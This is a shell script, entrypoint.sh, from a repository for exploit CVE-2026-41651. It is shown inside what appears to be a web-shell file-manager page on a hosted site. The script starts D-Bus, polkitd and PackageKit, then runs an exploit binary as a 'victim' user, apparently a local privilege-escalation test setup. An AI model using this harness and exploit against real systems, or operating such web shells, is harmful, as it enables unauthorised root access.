HEX
Server: Apache
System: Linux e347122.name-servers.gr 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User: princemare_usr2 (10136)
PHP: 7.4.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/princessmare.com.gr/httpdocs/xpl2026/CVE-2026-41651/src/entrypoint.sh
#!/bin/bash
set -e

# ── 1. D-Bus system bus ──────────────────────────────────────────────────────
mkdir -p /run/dbus /var/run/dbus /etc/polkit-1/actions
dbus-daemon --system --fork --print-address
sleep 0.5

# ── 2. polkitd ───────────────────────────────────────────────────────────────
POLKITD=$(find /usr/lib /usr/libexec -name "polkitd" -type f -executable 2>/dev/null | head -1)
[ -z "$POLKITD" ] && { echo "[-] polkitd not found"; exit 1; }
"$POLKITD" --no-debug &
sleep 0.5

# ── 3. PackageKit daemon ─────────────────────────────────────────────────────
PKITD=$(find /usr -name "packagekitd" -type f 2>/dev/null | head -1)
[ -z "$PKITD" ] && { echo "[-] packagekitd not found"; exit 1; }
"$PKITD" 2>/dev/null &
sleep 1

echo ""
echo "  System  : $(lsb_release -ds 2>/dev/null || grep PRETTY /etc/os-release | cut -d= -f2 | tr -d '"')"
echo "  PK      : $(pkcon --version 2>/dev/null | head -1)"
echo "  User    : victim (uid=$(id -u victim))"
echo ""

# ── 4. Run exploit ───────────────────────────────────────────────────────────
exec su victim -c "exec /home/victim/cve-2026-41651"